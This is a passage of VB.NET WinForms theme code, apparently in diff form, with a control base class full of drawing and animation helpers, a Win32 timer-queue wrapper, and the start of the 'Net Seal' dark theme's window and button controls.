PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + +#Region " Size Handling " + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent Then + InvalidateBitmap() + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Private InPosition As Boolean + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + InPosition = True + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If InPosition Then SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + InPosition = False + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Base Properties " + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If Not IsHandleCreated AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then ColorHook() + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not IsHandleCreated Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics 'TODO: Potential issues during multi-threading. + + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +Module ThemeShare + +#Region " Animation " + + Private Frames As Integer + Private Invalidate As Boolean + Public ThemeTimer As New PrecisionTimer + + Private Const FPS As Integer = 50 '1000 / 50 = 20 FPS + Private Const Rate As Integer = 10 + + Public Delegate Sub AnimationDelegate(ByVal invalidate As Boolean) + + Private Callbacks As New List(Of AnimationDelegate) + + Private Sub HandleCallbacks(ByVal state As IntPtr, ByVal reserve As Boolean) + Invalidate = (Frames >= FPS) + If Invalidate Then Frames = 0 + + SyncLock Callbacks + For I As Integer = 0 To Callbacks.Count - 1 + Callbacks(I).Invoke(Invalidate) + Next + End SyncLock + + Frames += Rate + End Sub + + Private Sub InvalidateThemeTimer() + If Callbacks.Count = 0 Then + ThemeTimer.Delete() + Else + ThemeTimer.Create(0, Rate, AddressOf HandleCallbacks) + End If + End Sub + + Sub AddAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Callbacks.Contains(callback) Then Return + + Callbacks.Add(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + + Sub RemoveAnimationCallback(ByVal callback As AnimationDelegate) + SyncLock Callbacks + If Not Callbacks.Contains(callback) Then Return + + Callbacks.Remove(callback) + InvalidateThemeTimer() + End SyncLock + End Sub + +#End Region + +End Module + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Structure Bloom + + Public _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Property ValueHex() As String + Get + Return String.Concat("#", _ + _Value.R.ToString("X2", Nothing), _ + _Value.G.ToString("X2", Nothing), _ + _Value.B.ToString("X2", Nothing)) + End Get + Set(ByVal value As String) + Try + _Value = ColorTranslator.FromHtml(value) + Catch + Return + End Try + End Set + End Property + + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Structure + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 11/30/2011 +'Changed: 11/30/2011 +'Version: 1.0.0 +'------------------ +Class PrecisionTimer + Implements IDisposable + + Private _Enabled As Boolean + ReadOnly Property Enabled() As Boolean + Get + Return _Enabled + End Get + End Property + + Private Handle As IntPtr + Private TimerCallback As TimerDelegate + + _ + Private Shared Function CreateTimerQueueTimer( _ + ByRef handle As IntPtr, _ + ByVal queue As IntPtr, _ + ByVal callback As TimerDelegate, _ + ByVal state As IntPtr, _ + ByVal dueTime As UInteger, _ + ByVal period As UInteger, _ + ByVal flags As UInteger) As Boolean + End Function + + _ + Private Shared Function DeleteTimerQueueTimer( _ + ByVal queue As IntPtr, _ + ByVal handle As IntPtr, _ + ByVal callback As IntPtr) As Boolean + End Function + + Delegate Sub TimerDelegate(ByVal r1 As IntPtr, ByVal r2 As Boolean) + + Sub Create(ByVal dueTime As UInteger, ByVal period As UInteger, ByVal callback As TimerDelegate) + If _Enabled Then Return + + TimerCallback = callback + Dim Success As Boolean = CreateTimerQueueTimer(Handle, IntPtr.Zero, TimerCallback, IntPtr.Zero, dueTime, period, 0) + + If Not Success Then ThrowNewException("CreateTimerQueueTimer") + _Enabled = Success + End Sub + + Sub Delete() + If Not _Enabled Then Return + Dim Success As Boolean = DeleteTimerQueueTimer(IntPtr.Zero, Handle, IntPtr.Zero) + + If Not Success AndAlso Not Marshal.GetLastWin32Error = 997 Then + ThrowNewException("DeleteTimerQueueTimer") + End If + + _Enabled = Not Success + End Sub + + Private Sub ThrowNewException(ByVal name As String) + Throw New Exception(String.Format("{0} failed. Win32Error: {1}", name, Marshal.GetLastWin32Error)) + End Sub + + Public Sub Dispose() Implements IDisposable.Dispose + Delete() + End Sub +End Class + +'IMPORTANT: +'Please leave these comments in place as they help protect intellectual rights and allow +'developers to determine the version of the theme they are using. The preffered method +'of distributing this theme is through the Nimoru Software home page at nimoru.com. + +'Name: Net Seal Theme +'Created: 6/21/2013 +'Version: 1.0.0.1 beta +'Site: http://nimoru.com/ + +'This work is licensed under a Creative Commons Attribution 3.0 Unported License. +'To view a copy of this license, please visit http://creativecommons.org/licenses/by/3.0/ + +'Copyright © 2013 Nimoru Software + +Module ThemeModule + + + Friend G As Graphics + + Sub New() + TextBitmap = New Bitmap(1, 1) + TextGraphics = Graphics.FromImage(TextBitmap) + End Sub + + Private TextBitmap As Bitmap + Private TextGraphics As Graphics + + Friend Function MeasureString(text As String, font As Font) As SizeF + Return TextGraphics.MeasureString(text, font) + End Function + + Friend Function MeasureString(text As String, font As Font, width As Integer) As SizeF + Return TextGraphics.MeasureString(text, font, width, StringFormat.GenericTypographic) + End Function + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Friend Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Friend Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +End Module + +Class NSTheme + + Inherits ThemeContainer154 + + Private _AccentOffset As Integer = 42 + Public Property AccentOffset() As Integer + Get + Return _AccentOffset + End Get + Set(ByVal value As Integer) + _AccentOffset = value + Invalidate() + End Set + End Property + + Sub New() + Header = 30 + BackColor = Color.FromArgb(50, 50, 50) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(60, 60, 60)) + + B1 = New SolidBrush(Color.FromArgb(50, 50, 50)) + End Sub + + Protected Overrides Sub ColorHook() + + End Sub + + Private R1 As Rectangle + + Private P1, P2 As Pen + Private B1 As SolidBrush + + Private Pad As Integer + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + DrawBorders(P2, 1) + + G.DrawLine(P1, 0, 26, Width, 26) + G.DrawLine(P2, 0, 25, Width, 25) + + Pad = Math.Max(Measure().Width + 20, 80) + R1 = New Rectangle(Pad, 17, Width - (Pad * 2) + _AccentOffset, 8) + + G.DrawRectangle(P2, R1) + G.DrawRectangle(P1, R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height) + + G.DrawLine(P1, 0, 29, Width, 29) + G.DrawLine(P2, 0, 30, Width, 30) + + + + + DrawText(Brushes.Black, HorizontalAlignment.Left, 8, 1) + DrawText(Brushes.WhiteSmoke, HorizontalAlignment.Left, 7, 0) + + G.FillRectangle(B1, 0, 27, Width, 2) + DrawBorders(Pens.Black) + End Sub + +End Class + +Class NSButton + Inherits Control + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(65, 65, 65)) + End Sub + + Private IsMouseDown As Boolean + + Private GP1, GP2 As GraphicsPath + + Private SZ1 As SizeF + Private PT1 As PointF + + Private P1, P2 As Pen + + Private PB1 As PathGradientBrush + Private GB1 As LinearGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + If IsMouseDown Then + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(60, 60, 60) + PB1.SurroundColors = {Color.FromArgb(55, 55, 55)} + PB1.FocusScales = New PointF(0.8F, 0.5F) + + G.FillPath(PB1, GP1) + Else + GB1 = New LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + G.FillPath(GB1, GP1) + End If + + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + SZ1 = G.MeasureString(Text, Font) + PT1 = New PointF(5, Height \ 2 - SZ1.Height / 2) + + If IsMouseDown Then + PT1.X += 1.0F + PT1.Y += 1.0F + End If + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Text, Font, Brushes.WhiteSmoke, PT1) + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + IsMouseDown = True + Invalidate() + End Sub + + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + 